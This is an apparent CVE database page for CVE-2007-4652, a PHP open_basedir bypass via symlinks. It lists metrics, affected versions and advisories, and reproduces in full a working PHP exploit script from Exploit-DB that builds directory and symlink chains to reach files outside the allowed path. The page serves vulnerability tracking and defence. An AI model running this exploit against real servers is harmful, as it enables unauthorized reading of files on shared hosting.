CVE-2007-4652 : Detail

CVE-2007-4652

A01-Broken Access Control
0.05%V3
Local
2007-09-04
17h00 +00:00
2017-07-28
10h57 +00:00
CVE.org
NVD
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CVE Descriptions

The session extension in PHP before 5.2.4 might allow local users to bypass open_basedir restrictions via a session file that is a symlink.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-59 Improper Link Resolution Before File Access ('Link Following')
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.4 AV:L/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 10557

Publication date : 2009-12-18 23h00 +00:00
Author : Maksymilian Arciemowicz
EDB Verified : Yes

<?php /* PHP 5.2.12/5.3.1 symlink() open_basedir bypass by Maksymilian Arciemowicz http://securityreason.com/ cxib [ a.T] securityreason [ d0t] com CHUJWAMWMUZG */ $fakedir="cx"; $fakedep=16; $num=0; // offset of symlink.$num if(!empty($_GET['file'])) $file=$_GET['file']; else if(!empty($_POST['file'])) $file=$_POST['file']; else $file=""; echo '<PRE><img src="http://securityreason.com/gfx/logo.gif?cx5211.php"><P>This is exploit from <a href="http://securityreason.com/" title="Security Audit PHP">Security Audit Lab - SecurityReason</a> labs. Author : Maksymilian Arciemowicz <p>Script for legal use only. <p>PHP 5.2.12 5.3.1 symlink open_basedir bypass <p>More: <a href="http://securityreason.com/">SecurityReason</a> <p><form name="form" action="http://'.$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["PHP_SELF"]).'" method="post"><input type="text" name="file" size="50" value="'.htmlspecialchars($file).'"><input type="submit" name="hym" value="Create Symlink"></form>'; if(empty($file)) exit; if(!is_writable(".")) die("not writable directory"); $level=0; for($as=0;$as<$fakedep;$as++){ if(!file_exists($fakedir)) mkdir($fakedir); chdir($fakedir); } while(1<$as--) chdir(".."); $hardstyle = explode("/", $file); for($a=0;$a<count($hardstyle);$a++){ if(!empty($hardstyle[$a])){ if(!file_exists($hardstyle[$a])) mkdir($hardstyle[$a]); chdir($hardstyle[$a]); $as++; } } $as++; while($as--) chdir(".."); @rmdir("fakesymlink"); @unlink("fakesymlink"); @symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink"); // this loop will skip allready created symlinks. while(1) if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break; else $num++; @unlink("fakesymlink"); mkdir("fakesymlink"); die('<FONT COLOR="RED">check symlink <a href="./symlink'.$num.'">symlink'.$num.'</a> file</FONT>'); ?>

Products Mentioned

Configuraton 0

Php>>Php >> Version To (including) 5.2.3

Php>>Php >> Version 1.0

Php>>Php >> Version 2.0

Php>>Php >> Version 2.0b10

Php>>Php >> Version 3.0

Php>>Php >> Version 3.0.1

Php>>Php >> Version 3.0.2

Php>>Php >> Version 3.0.3

Php>>Php >> Version 3.0.4

Php>>Php >> Version 3.0.5

Php>>Php >> Version 3.0.6

Php>>Php >> Version 3.0.7

Php>>Php >> Version 3.0.8

Php>>Php >> Version 3.0.9

Php>>Php >> Version 3.0.10

Php>>Php >> Version 3.0.11

Php>>Php >> Version 3.0.12

Php>>Php >> Version 3.0.13

Php>>Php >> Version 3.0.14

Php>>Php >> Version 3.0.15

Php>>Php >> Version 3.0.16

Php>>Php >> Version 3.0.17

Php>>Php >> Version 3.0.18

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0.0

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.2

Php>>Php >> Version 4.0.3

Php>>Php >> Version 4.0.4

Php>>Php >> Version 4.0.5

Php>>Php >> Version 4.0.6

Php>>Php >> Version 4.0.7

Php>>Php >> Version 4.1.0

Php>>Php >> Version 4.1.1

Php>>Php >> Version 4.1.2

Php>>Php >> Version 4.2.0

Php>>Php >> Version 4.2.1

Php>>Php >> Version 4.2.2

Php>>Php >> Version 4.2.3

Php>>Php >> Version 4.3.0

Php>>Php >> Version 4.3.1

Php>>Php >> Version 4.3.2

Php>>Php >> Version 4.3.3

Php>>Php >> Version 4.3.4

Php>>Php >> Version 4.3.5

Php>>Php >> Version 4.3.6

Php>>Php >> Version 4.3.7

Php>>Php >> Version 4.3.8

Php>>Php >> Version 4.3.9

Php>>Php >> Version 4.3.10

Php>>Php >> Version 4.3.11

Php>>Php >> Version 4.4.0

Php>>Php >> Version 4.4.1

Php>>Php >> Version 4.4.2

Php>>Php >> Version 4.4.3

Php>>Php >> Version 4.4.4

Php>>Php >> Version 4.4.5

Php>>Php >> Version 4.4.6

Php>>Php >> Version 4.4.7

Php>>Php >> Version 4.4.8

Php>>Php >> Version 4.4.9

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.1

Php>>Php >> Version 5.0.2

Php>>Php >> Version 5.0.3

Php>>Php >> Version 5.0.4

Php>>Php >> Version 5.0.5

Php>>Php >> Version 5.1.0

Php>>Php >> Version 5.1.1

Php>>Php >> Version 5.1.2

Php>>Php >> Version 5.1.3

Php>>Php >> Version 5.1.4

Php>>Php >> Version 5.1.5

Php>>Php >> Version 5.1.6

Php>>Php >> Version 5.2.0

Php>>Php >> Version 5.2.1

Php>>Php >> Version 5.2.2

References

http://secunia.com/advisories/26822
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.gentoo.org/security/en/glsa/glsa-200710-02.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://www.trustix.org/errata/2007/0026/
Tags : vendor-advisory, x_refsource_TRUSTIX
http://secunia.com/advisories/26838
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/27377
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/27102
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2007/3023
Tags : vdb-entry, x_refsource_VUPEN
http://www.php.net/releases/5_2_4.php
Tags : x_refsource_CONFIRM
http://secunia.com/advisories/26642
Tags : third-party-advisory, x_refsource_SECUNIA